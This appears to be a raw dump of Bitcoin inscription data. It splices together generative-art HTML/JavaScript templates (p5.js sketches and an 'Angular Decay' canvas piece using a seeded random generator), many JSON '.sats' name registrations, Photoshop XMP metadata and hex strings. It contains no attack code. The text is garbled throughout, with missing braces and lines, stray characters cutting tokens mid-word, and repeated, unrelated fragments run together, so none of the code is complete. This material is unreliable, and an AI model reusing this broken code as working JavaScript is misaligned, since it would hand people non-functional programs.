cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l M ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); justify-content: center; align-items: center; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for tokenM // you need to populate a $generativeTraits object in the window object Add your code here var col = rnd(0,210) if(bac>40&bac<60){ if(bac>60&bac<80){ createCanvas(1200, 1200,WEBGL); angleMode(DEGREES) w=rnd(-width/2+300,width/2-400) h=rnd(-height/2+600,height/2) w=rnd(-width/2+500,width/2-100) h=rnd(-height/2+500,height/2-200) w=rnd(-width/2+350,width/2-100) h=rnd(-height/2+5M w=rnd(-width/2+200,width/2-400) h=rnd(-height/2+500,height/2-200) if(rnd(0,120)<50){ var l = rnd(0,g2) fill("#FFD32D") fill("#FF8B13") if(l>20&l<30){ fill("#DA1212") if(l>30&l<40){ fill("#733C3C") if(l>40&l<50){ fill("#10A19D") if(l>50&l<60){ fill("#001E6C") if(l>60&l<70){ fill("#367E18") if(l>70&l<80){ fill("#990000") if(col>20&col<40){ var l = rnd(0,g2) fill("#FFD32M if(l>10&l<20){ fill("#D61355") if(l>20&l<30){ fill("#DA1212") if(l>30&l<40){ fill("#30E3DF") if(l>40&l<50){ fill("#10A19D") if(l>50&l<60){ fill("#F2CD5C") if(l>60&l<70){ fill("#CD0404") if(l>70&l<80){ fill("#990000") if(col>40&col<60){ var l = rnd(0,g2) fill("#FFD32D") if(l>10&l<20){ fill("#939B62") if(l>20&l<30){ fill("#FFD56F") if(l>30&l<40){ fill("#FFB26B") if(l>40&l<50){ fill("#FF7B54") if(l>50&l<60){ fill("#F2CD5C") if(l>60&l<70){ fill("#CD0404") if(l>70&l<80){ fill("#990000") var l = rnd(0,g2) fill("#6C00FF") if(l>10&l<20){ fill("#3C79F5") if(l>20&l<30){ fill("#2DCDDF") if(l>30&l<40){ fill("#579BB1") if(l>40&l<50){ fill("#2C74B3") if(l>50&l<60){ fill("#EAFDFC") if(l>60&l<70){ fill("#BAD7E9") if(l>70&l<80){ fill("#990000") if(col>80&col<100){ var l = rnd(0,g2) fill("#A75D5D") if(l>10&l<20){ fill("#D3756B") if(l>20&l<30){ fill("#F0997D") if(l>30&l<40){ fill("#FFC3A1") if(l>40&l<50){ fill("#FF7B54") if(l>50&l<60){ fill("#FFB26B") if(l>60&l<70){ fill("#FFD56F") if(l>70&l<80){ fill("#990000") if(col>100&col<120){ var l = rnd(0,g2) fill("#39B5E0") if(l>10&l<20){ fill("#A31ACB") if(l>20&l<30){ fill("#FF78F0") if(l>30&l<40){ fill("#F5EA5A") if(l>40&l<50){ fill("#FFB100") if(l>50&l<60){ fill("#FBC252") if(l>60&l<70){ fill("#FFD56F") fill("#2DCDDF") if(col>120&col<140){ var l = rnd(0,g2) fill("#FFDB89") if(l>10&l<20){ fill("#DC0000") if(l>20&l<30){ fill("#CB1C8D") if(l>30&l<40){ fill("#FB2576") if(l>40&l<50){ fill("#FFB100") if(l>50&l<60){ fill("#FFBF00") if(l>60&l<70){ if(l>70&l<80){ fill("#2DCDDF") if(col>140&col<160){ var l = rnd(0,g2) fill("#344D67") if(l>10&l<20){ fill("#6ECCAF") if(l>20&l<30){ fill("#ADE792") if(l>30&l<40){ fill("#68B984") if(l>40&l<50){ fill("#00FFF6") if(l>50&l<60){ fill("#0014FF") if(l>60&l<70){ fill("#10A19D") if(l>70&l<80){ fill("#2DCDDF") if(col>160&col<180){ var l = rnd(0,g2) fill("#562B08") if(l>10&l<20){ fill("#F96666") if(l>20&l<30){ fill("#9E7676") if(l>30&l<40){ fill("#FFF8EA") if(l>40&l<50){ fill("#815B5B") fill("#CC3636") if(l>60&l<70){ fill("#9E7676") if(l>70&l<80){ fill("#E3C770") if(col>180&col<210){ var l = rnd(0,g2) fill("#FFE9A0") if(l>10&l<20){ fill("#367E18") if(l>20&l<30){ fill("#F57328") if(l>30&l<40){ fill("#CC3636") fill("#00FFD1") if(l>50&l<60){ fill("#31C6D4") if(l>60&l<70){ fill("#FFFF00") if(l>70&l<80){ fill("#FF1E1E") var r = floor(rnd(0,4)) for(i= 0 ; i<400;i++){ rotateX(frameCount) rotateY(frameCount) if(frameCount>rnd(170,195)){ var r = floor(rnd(0,4)) for(i= 0 ; i<800;i++){ rotateX(frameCount) rotate(frameCount) if(frameCount>rnd(410,500)){ var r = floor(rnd(0,4)) for(i= 0 ; i<1000;i++){ translate(-frameCount/2,-M rotate(frameCount) translate(frameCount/2,frameCount/2) rotateY(frameCount) if(frameCount>rnd(800,900)){ var r = floor(rnd(0,4)) for(i= 0 ; i<300;i++){ rotateY(frameCount) rotate(frameCount) function rnd(min,max){ return mathRand()*(max-min) + min; Add your code here text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <!-- p5js@1.5.0 --> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 --> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <script type="text/javascript"> Add your script here Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("M seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 101390424M for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfcM return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. et mathRand = sfc32(...cyrb128(seed)); margin: 0px; overflow: hidden; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { Add your code here let nextLineY = 0; Math.random = mathRand; cSize = min(windowHeight, windowWidth); mainCanvas = createCanvas(cSize, cSize); background('#fff') strokeWeight(20) line(0,0,width,0) line(0,0,0,height) line(width,0,width,height) line(0,height,width,height) while (nextLineY < height) { // drawLine(0, nextLineY) let nextRectX = 0; while (nextRectX < wM let rectWidth = mathrand(20, 1); let rectHight = mathrand(70, 1); noStroke() fill(colors[mathrand(colors.length - 1, 0)]) rect(nextRectX, nextLineY, rectWidth, rectHight); nextRectX = nextRectX + rectWidth; nextLineY = nextLineY + 25 while (nextLineY < height) { // drawLine(0, nextLineY) let nextRectX = 0; nextRectX < width) { let rectWidth = mathrand(50, 1); let rectHight = mathrand(40, 1); stroke(colors[mathrand(colors.length - 1, 0)]) strokeWeight(3) noFill() ellipse(nextRectX, nextLineY, rectWidth, rectWidth); nextRectX = nextRectX + rectWidth; nextLineY = nextLineY + 20 while (nextLineY < height) { // drawLine(0, nextLineY) let nextRectX = 0; while (nextRectX < width) { let rectWidth = mathrand(20, 1); let rectHight = mathrand(40, 1); stroke(colors[mathrand(colors.length - 1, 0)]) noFill() ellipse(nextRectX, nextLineY, rectWidth, rectWidth); nextRectX = nextRectX + rectWidth; nextLineY = nextLineY + 20 function setColors() { colorsKeys = Object.keys(chroma.brewer); colors = [...chroma.brewer[colorsKeys[mathrand(colorsKeys.length - M colors2 = chroma.brewer[colorsKeys[mathrand(colorsKeys.length - 1, 0)]] function mathrand(min, max) { return Math.floor(mathRand() * (max - min + 1) + min); function keyTyped() { if (key === 's') { saveCanvas('Amz-' + mathRand(), 'png'); Add your code here text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) {rx1[rc]=x1;ry1[rc]=y1;rx2[rc]=x2;ry2[rc]=y2;rx3[rc]=x3;ry3[rc]=y3;rc++; } else {tx1[tc]=x1;ty1[tc]=y1;tx2[tc]=x2;ty2[tc]=y2;tx3[tc]=x3;ty3[tc]=y3;tc++;} if(bmp>15){bmp=0; x3=y3=500;x1=rir(500,500+tr);y1=rir(500,500+tr);x2=rir(500,500-tr);y2=rir(500,500-M triharder(x3,y3, x1,y1); if(ri(100)>20) triharder(x3,y3, x2,y2); const autoDownloadCanvas = async () => { const element = document.createElement('a') element.setAttribute('download',`Angular-${ofw}x${ofh}-${seed}`) element.style.display = 'none' document.body.appendChild(element) let imageBlob = null imageBlob = await new Promise(resolve => document.getElementById('target').toBlob(resolve, 'image/png')) element.setAttribute('href', window.URL.createObjectURL(imageBlob, { document.body.removeChild(element) document.addEventListener('keypress', async (e) => { e = e || window.event if (e.key === 's') autoDownloadCanvas() if (e.key === 'h') { rz++;if(rz>5)rz=1;drp=0;gi=0;gj=0;await layoutCanvas() } function drawEllipse(ctx,x,y,rx,ry,fill) { ctx.ellipse(x, y, rx, ry, 0, 0, 2 * Math.PI); if (fill) {ctx.fillStyle = fill;ctx.fill();} function dl(ctx,lx,ly,ex,ey,stroke,width) { if (stroke) {ctx.strokeStyle = stroke;} if (width) { ctx.linM ctx.beginPath();ctx.moveTo(lx,ly);ctx.lineTo(ex,ey);ctx.stroke(); if(cp==12)artcols=['#EDECE0','#303030','#880808']; if(cp==0) artcols=['#F0BEB2','#F25B40','#3A8D3B']; if(cp==11)artcols=['#4F97BA','#F9E1B5','#BD2C41']; if(cp==1) artcols=['#25201E','#D3A252','#686C22']; if(cp==2) artcols=['#B4CBCA','#1F5FB3','#355026']; if(cp==3) artcols=['#D1C7C5','#6E5247','#8D695D']; if(cp==4) artcols= ['#E4DBBE','#8BB8B3','#AF799A']; if(cp==5) artcols= ['#B8B8B3','#474747','M if(cp==6) artcols= ['#A6B2C7','#323642','#394A69']; if(cp==7) artcols= ['#E6E6E4','#343523','#B2B2AD']; if(cp==8) artcols= ['#A9A18E','#706B5C','#606A4D']; if(cp==9) artcols= ['#EDECE0','#944645','#F25D34']; if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933']; function ri( x){ return Math.floor(mathRand()*x);} function rir(x,y){ let nr = (y - x) ; return Math.floor((mathRand()*nr) + x); } text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"LV3.sats"}h! FjDOUT:6A957E3EE9E3048E0796C98D6CE6BC9BCAC7805A242B1A4F6B76F1796AEBE7EB text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"abcdef.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"Orz.sats"}h! d/Foundry USA Pool #dropgold/ fiTXtXML:com.adobe.xmp " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/M 1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2023-03-02T09:57:25-05:00" xmp:MetadataDate="2023-03-02T09:57:25-05:00" xmp:ModifyDate="2023-03-02T09:57:25-05:00" xmpMM:InstanceID="xmp.iid:2a3f8ecb-0962-8540-844a-89c5b75952ff" xmpMM:DocumentID="adobe:docid:photoshop:635f54b5-88bc-6640-a109-7edf1eb2ed91" xmpMM:OriginalDocumentID="xmp.did:a98096dd-95af-1c45-8820-ec53316f5a43" photoshop:ColorMode="3" dc:format="image/png"> <xmpMM:History> <rdf:Seq> <rdM f:li stEvt:action="created" stEvt:instanceID="xmp.iid:a98096dd-95af-1c45-8820-ec53316f5a43" stEvt:when="2023-03-02T09:57:25-05:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2a3f8ecb-0962-8540-844a-89c5b75952ff" stEvt:when="2023-03-02T09:57:25-05:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:5c8cf24c-37a3-a94e-b578-e06dfceM c0e8b</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>' dZ$`V"\R k`&oc&g\$PF text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"12343.sats"}h! FjDOUT:33CBF368853C4B58B9ACE01244CE8A99E9E7B03096B6DAD6B7754457DA623B4B FjDOUT:288FAAC3FA26BC469FB3187303566091ABC84845390D84DB76E75F262E425B77 FjDOUT:D099599A06948CE0E6285E26FBCFEC719537E5C497625C505B60AA544E5CA2A8 FjDOUT:EE409182755C92AE8EFAAF3C24F2B44D4683E8AE9888A8F8E48FC0D5C3F9819E FjDOUT:F7A1A2E66513EACE28E6057863E215DADB3102CD65FB70444FC83A7DA4AB97E7 FjDOUT:ED10A630DC64BC799F9A0F4D0C086A3998A87CE2574E8071D94D25F5825FF324 text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11044.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11042.sats"}h! text/plain;charset=utf-8 '{"p":"sns","op":"reg","name":"L3.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11046.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11043.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"lyz.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"jmj.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"gmg.sats"}h! text/plain;charset=utf-8 ({"p":"sns","op":"reg","name":"adc.sats"}h! Aj?=:ETH.ETH:0x4d92230c780B8BF4240F02DD28562a095e113255:5546653::0 text/plain;charset=utf-8 "name": "frens.sats" text/plain;charset=utf-8 "name": "get-rekt.sats" text/plain;charset=utf-8 "name": "-59.sats" text/plain;charset=utf-8 "name": "richforever.sats" text/plain;charset=utf-8 "name": "pug.sats" text/plain;charset=utf-8 "name": "4chan.sats" text/plain;charset=utf-8 "name": "sendnudes.sats" text/plain;charset=utf-8 "name": "img.sats" text/plain;charset=utf-8 "name": "binladen.sats" text/plain;charset=utf-8 "name": "rdy.sats" text/plain;charset=utf-8 "name": "pill.sats" text/plain;charset=utf-8 "name": "doggo.sats" text/plain;charset=utf-8 text/plain;charset=utf-8 "name": "-420.sats" text/plain;charset=utf-8 "name": "farmernash.sats" text/plain;charset=utf-8 "name": "msv.sats" text/plain;charset=utf-8 "name": "gom.sats" text/plain;charset=utf-8 "name": "-420.sats" text/plain;charset=utf-8 "name": "omerta.sats" text/plain;charset=utf-8 "name": "rullz.sats" text/plain;charset=utf-8 "name": "moneylaundry.sats" text/plain;charset=utf-8 "name": "uio.sats" text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"Disco.sats"}h! text/plain;charset=utf-8 "name": "twt.sats" text/plain;charset=utf-8 "name": "qtq.sats" text/plain;charset=utf-8 "name": "fila.sats" text/plain;charset=utf-8 "name": "bigboss.sats" text/plain;charset=utf-8 "name": "sendmoney.sats" text/plain;charset=utf-8 "name": "givemoney.sats" Aj?=:ETH.ETH:0x4Af78D278707AE29FEe64Be0E408fB3502C792f7:2261793::0 text/plain;charset=utf-8 ,{"p":"sns","op":"reg","name":"arataki.sats"}h! text/plain;charset=utf-8 *{"p":"sns","op":"reg","name":"11060.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"686868.sats"}h! text/html;charset=utf-8 <meta charset="UTF-8"> <title>Angular Decay</title> <script id="snippet-random-code" type="text/javascript"> let seed = window.location.href.split('/').find(t => t.includes('i0')); const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i <M seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(lM ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 let mathRand = sfc32(...cyrb128(seed)); <style>body {margin: 0px;} </style>M <canvas id="target"></canvas> <script type="text/javascript"> const rand = mathRand(); const rand2 = mathRand(); let sqpix,cp,ratio=0.707,bug=false; if(rand<0.3){sqpix=0;zoom=false;return"Portrait";} if(rand<0.6){sqpix=0;ratio=1.414;return"Lanscape";} if(rand<0.95){sqpix=1;return"Square";} sqpix=1;bug=1;return"Bugged";} if(rand<0.07){cp=12;return "Paper";} if(rand<0.14){cp=1;return "DPM";} if(rand<0.21){cp=2;return "Fecktarn";} if(rand<0.41){cp=4;return "Desert Drill";} if(rand<0.5){cp=5;return "Urban";} if(rand<0.6){cp=6;return "Navy";} if(rand<0.7){cp=7;return "German Winter";} if(rand<0.8){cp=8;return "Tree";} if(rand<0.85){cp=9;return "Orange";} if(rand<0.9){cp=10;return "Harris";} if(rand<0.95){cp=11;return "Market";} cp=0;return "Saint";} window.$generativeTraits = {"View": T1(rand),"Pallet": T2(rand2) } const container = document.createElement("div") container.innerHTML = "<span>seed: " + seed + "</spM let resizeTmr=null,aniFrame=null; let ofw,ofh,sz,rz=1; let gi=0,gj=0,drp=0,drawtot=2,bmp,artcols=[]; var tricount=0,tr=30; var tx1=[],ty1=[],tx2=[],ty2=[],tx3=[],ty3=[]; var rx1=[],ry1=[],rx2=[],ry2=[],rx3=[],ry3=[]; const init = async () => { window.addEventListener('resize', async () => { clearTimeout(resizeTmr) resizeTmr = setTimeout(async () => { await layoutCanvas() await layoutCanvas() const layoutCanvas = async () => { const wWidth=window.innerWidth const wHeight=window.innerHeight let cHeight=wHeight; let cWidth=cHeight*ratio; if(cWidth>wWidth){cWidth=wWidth;cHeight=cWidth/ratio;} const canvas=document.getElementById('target') canvas.width=2000*rz; canvas.height=(2000*rz)/ratio; canvas.style.position = 'absolute' canvas.style.width = `${cWidth}px` canvas.style.height = `${cHeight}px` canvas.style.left = `${(wWidth - cWidth) / 2}px` canvas.style.top = `${(wHeight - cHeight) / 2}pM const drawCanvas = async () => { if(!tried) setupart(); if (aniFrame) window.cancelAnimationFrame(aniFrame) const canvas=document.getElementById('target') const ctx=canvas.getContext('2d') {let bx=ofw/500,by=ofh/500; ctx.globalAlpha=0.05; for(let f=10;f<30; f++){ for(let i=0;i<500; i++){ drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'#ffffff'); drawEllipse(ctx, bx*i + ri(3)*sz, by*gj+ ri(3)*sz, bx/2,bx/2,'M if(gj>500) { drp=3; gj=0; } for(let f=0;f<tc;f++){ if(bug) dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz*sz,ty2[f]*sz, artcols[1], 1*sz); else dl(ctx, tx1[f]*sz,ty1[f]*sz, tx2[f]*sz,ty2[f]*sz, artcols[1], 1*sz); dl(ctx, tx2[f]*sz,ty2[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz); dl(ctx, tx1[f]*sz,ty1[f]*sz, tx3[f]*sz,ty3[f]*sz, artcols[1], 1*sz);} for(let f=0;f<rc;f++){ dl(ctx, rx1[f]*sz,ry1[f]*sz, rx2[f]*sz,ry2[f]*sz, artcols[2], 1*sz); ,ry2[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz); dl(ctx, rx1[f]*sz,ry1[f]*sz, rx3[f]*sz,ry3[f]*sz, artcols[2], 1*sz);} ctx.fillStyle = artcols[0]; ctx.fillRect(0,0,ofw,ofh); mathRand = sfc32(...cyrb128(seed)); tc=0;rc=0;tricount=0;tr=30;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); tricount=1000;tr=rir(10,50);dor=true;bmp=0; triharder(500, 500, 500+rir(-tr,tr), 500+rir(-tr,tr)); aniFrame = window.requestAnimationM function triharder( x1,y1, x2,y2) if(tricount>2500) return; var x3=x1+rir(-tr,tr); var y3=y1+rir(-tr,tr); if(x3<0){x3+=tr;bmp++} if(x3>1000){x3-=tr;bmp++} if(y3<0){y3+=tr;bmp++} if(y3>1000/ratio){y3-=tr;bmp++} if(dor) 